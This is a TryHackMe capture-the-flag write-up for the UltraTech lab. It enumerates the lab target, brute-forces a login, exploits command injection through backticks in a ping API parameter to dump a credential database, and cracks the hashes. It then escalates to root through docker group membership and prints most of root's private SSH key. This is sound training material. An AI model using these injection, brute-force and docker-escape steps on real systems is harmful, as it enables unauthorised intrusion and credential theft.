THM Writeup – UltraTech
The basics of Penetration Testing, Enumeration, Privilege Escalation and WebApp testing
~_. UltraTech ._~
This room is inspired from real-life vulnerabilities and misconfigurations I encountered during security assessments.
If you get stuck at some point, take some time to keep enumerating.
[ Your Mission ]
You have been contracted by UltraTech to pentest their infrastructure.
It is a grey-box kind of assessment, the only information you have is the company’s name and their server’s IP address.
Good luck and more importantly, have fun!
Add IP address to your hosts
file:
echo '10.10.215.13 ultratech.thm' >> /etc/hosts
Scan the target machine – find open ports first:
nmap -n -Pn -sS -p- --open -min-rate 5000 -vvv ultratech.thm
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
22/tcp open ssh syn-ack ttl 64
8081/tcp open blackice-icecap syn-ack ttl 64
31331/tcp open unknown syn-ack ttl 64
Get more details about open ports:
nmap -T4 -A -p 21,22,8081,31331 ultratech.thm
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:66:89:85:e7:05:c2:a5:da:7f:01:20:3a:13:fc:27 (RSA)
| 256 c3:67:dd:26:fa:0c:56:92:f3:5b:a0:b3:8d:6d:20:ab (ECDSA)
|_ 256 11:9b:5a:d6:ff:2f:e4:49:d2:b5:17:36:0e:2f:1d:2f (EdDSA)
8081/tcp open http Node.js Express framework
|_http-cors: HEAD GET POST PUT DELETE PATCH
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
31331/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: UltraTech - The best of technology (AI, FinTech, Big Data)
We have 4 ports open: 21 (FTP – File Transfer Protocol), 22 (SSH – Secure Shell), 8081 (HTTP – Node.js Express framework), 31331 (HTTP – Apache server)
More enumeration
Check the application on port 8081 – browse to http://ultratech.thm:8081/
Directory brute-force the REST API on port 8081:
gobuster dir -u http://ultratech.thm:8081 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
/auth (Status: 200)
/Auth (Status: 200)
===============================================================
Check the path (/auth
) we’ve just found:
Check the application on port 31331 – browse to http://ultratech.thm:31331/
Directory brute-force the web application on port 31331:
gobuster dir -u http://ultratech.thm:31331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt
===============================================================
/images (Status: 301)
/index.html (Status: 200)
/partners.html (Status: 200)
/css (Status: 301)
/js (Status: 301)
/javascript (Status: 301)
/what.html (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)
===============================================================
Check the partners.html
path – browse to http://ultratech.thm:31331/partners.html
Open developer console (press F12 while you’re in browser) and try to log in:
We’ve just found out few things:
- web application on port 31331 uses REST API’s endpoint
/auth
for authentication - the authentication request uses
GET
method - the request looks like: http://ultratech.thm:8081/auth?login=admin&password=admin
Let’s try to brute-force the login with hydra
:
hydra -l admin -P /usr/share/wordlists/rockyou.txt -f ultratech.thm -s 8081 http-get "/auth:login=^USER^&password=^PASS^:F=Invalid credentials" -V
I let it run for few minutes with no luck, so I stopped it…
I went back to http://ultratech.thm:31331/partners.html with developer console open and noticed that this site makes an interesting request every few seconds:
So I guess there must be a JavaScript that initiates these calls.
And I found it, it’s called api.js
:
Ok, the script checks status of the REST API every 10000 ms and it uses /ping
endpoint with ip
as query parameter.
Now answer this question:
The software using the port 8081 is a REST api, how many of its routes are used by the web application?
Task 3: Let the fun begin
Now check what we can do with this endpoint – let’s see what happens when we pass id
command as a value of ip
parameter – http://ultratech.thm:8081/ping?ip=id
Ok, now try this – http://ultratech.thm:8081/ping?ip=`id`
Great, this way the command we passed as value of ip
was executed.
Try ls
now – http://ultratech.thm:8081/ping?ip=`ls`
There is a SQLite database, read it like this:
http://ultratech.thm:8081/ping?ip=`cat u[REDACTED]e`
So we got 2 users and their hashes:
r00t:[REDACTED]
admin:[REDACTED]
Crack r00t’s hash:
echo '[REDACTED]' > hash
hashcat hash /usr/share/wordlists/rockyou.txt
[HASH REDACTED]:[PASSWORD REDACTED]
Now you can answer 2 questions:
What is the first user’s password hash?
What is the password associated with this hash?
Task 4: The root of all evil
Login via SSH as user r00t
:
ssh r00t@ultratech.thm
See what groups is our user part of:
r00t@ultratech-prod:~$ id
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)
Since our user is member of docker
group, check GTFObins to find a way to escalate our privileges:
The target machine doesn’t have access to the internet, so we are not able to download alpine
image to use the above command, however we could do it through our attacking machine…
First let’s see what docker images are already present:
r00t@ultratech-prod:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
bash latest 495d6437fc1e 3 years ago 15.8MB
And give it a try with the bash
image:
r00t@ultratech-prod:~$ docker run -v /:/mnt --rm -it bash chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
Great, we are root
user now.
Read root user’s private SSH key:
# cat /root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
[REDACTED]AKCAQEAuDSna2F3pO8vMOPJ4l2PwpLFqMpy1SWYaaREhio64iM65HSm
sIOfoEC+vvs9SRxy8yNBQ2bx2kLYqoZpDJOuTC4Y7VIb+3xeLjhmvtNQGofffkQA
jSMMlh1MG14fOInXKTRQF8hPBWKB38BPdlNgm7dR5PUGFWni15ucYgCGq1Utc5PP
NZVxika+pr/U0Ux4620MzJW899lDG6orIoJo739fmMyrQUjKRnp8xXBv/YezoF8D
hQaP7omtbyo0dczKGkeAVCe6ARh8woiVd2zz5SHDoeZLe1ln4KSbIL3EiMQMzOpc
jNn7oD+rqmh/ygoXL3yFRAowi+LFdkkS0gqgmwIDAQABAoIBACbTwm5Z7xQu7m2J
tiYmvoSu10cK1UWkVQn/fAojoKHF90XsaK5QMDdhLlOnNXXRr1Ecn0cLzfLJoE3h
YwcpodWg6dQsOIW740Yu0Ulr1TiiZzOANfWJ679Akag7IK2UMGwZAMDikfV6nBGD
wbwZOwXXkEWIeC3PUedMf5wQrFI0mG+mRwWFd06xl6FioC9gIpV4RaZT92nbGfoM
BWr8KszHw0t7Cp3CT2OBzL2XoMg/NWFU0iBEBg8n8fk67Y59m49xED7VgupK5Ad1
5neOFdep8rydYbFpVLw8sv96GN5tb/i5KQPC1uO64YuC5ZOyKE30jX4gjAC8rafg
o1macDECgYEA4fTHFz1uRohrRkZiTGzEp9VUPNonMyKYHi2FaSTU1Vmp6A0vbBWW
tnuyiubefzK5DyDEf2YdhEE7PJbMBjnCWQJCtOaSCz/RZ7ET9pAMvo4MvTFs3I97
eDM3HWDdrmrK1hTaOTmvbV8DM9sNqgJVsH24ztLBWRRU4gOsP4a76s0CgYEA0LK/
/kh/lkReyAurcu7F00fIn1hdTvqa8/wUYq5efHoZg8pba2j7Z8g9GVqKtMnFA0w6
t1KmELIf55zwFh3i5MmneUJo6gYSXx2AqvWsFtddLljAVKpbLBl6szq4wVejoDye
lEdFfTHlYaN2ieZADsbgAKs27/q/ZgNqZVI+CQcCgYAO3sYPcHqGZ8nviQhFEU9r
4C04B/9WbStnqQVDoynilJEK9XsueMk/Xyqj24e/BT6KkVR9MeI1ZvmYBjCNJFX2
96AeOaJY3S1RzqSKsHY2QDD0boFEjqjIg05YP5y3Ms4AgsTNyU8TOpKCYiMnEhpD
kDKOYe5Zh24Cpc07LQnG7QKBgCZ1WjYUzBY34TOCGwUiBSiLKOhcU02TluxxPpx0
v4q2wW7s4m3nubSFTOUYL0ljiT+zU3qm611WRdTbsc6RkVdR5d/NoiHGHqqSeDyI
6z6GT3CUAFVZ01VMGLVgk91lNgz4PszaWW7ZvAiDI/wDhzhx46Ob6ZLNpWm6JWgo
gLAPAoGAdCXCHyTfKI/80YMmdp/k11Wj4TQuZ6zgFtUorstRddYAGt8peW3xFqLn
MrOulVZcSUXnezTs3f8TCsH1Yk/2ue8+GmtlZe/3pHRBW0YJIAaHWg5k2I3hsdAz
bPB7E9hlrI0AconivYDzfpxfX+vovlP/DdNVub/EO7JSO+RAmqo=
-----END RSA PRIVATE KEY-----
Do you like this writeup? Check out other THM Writeups.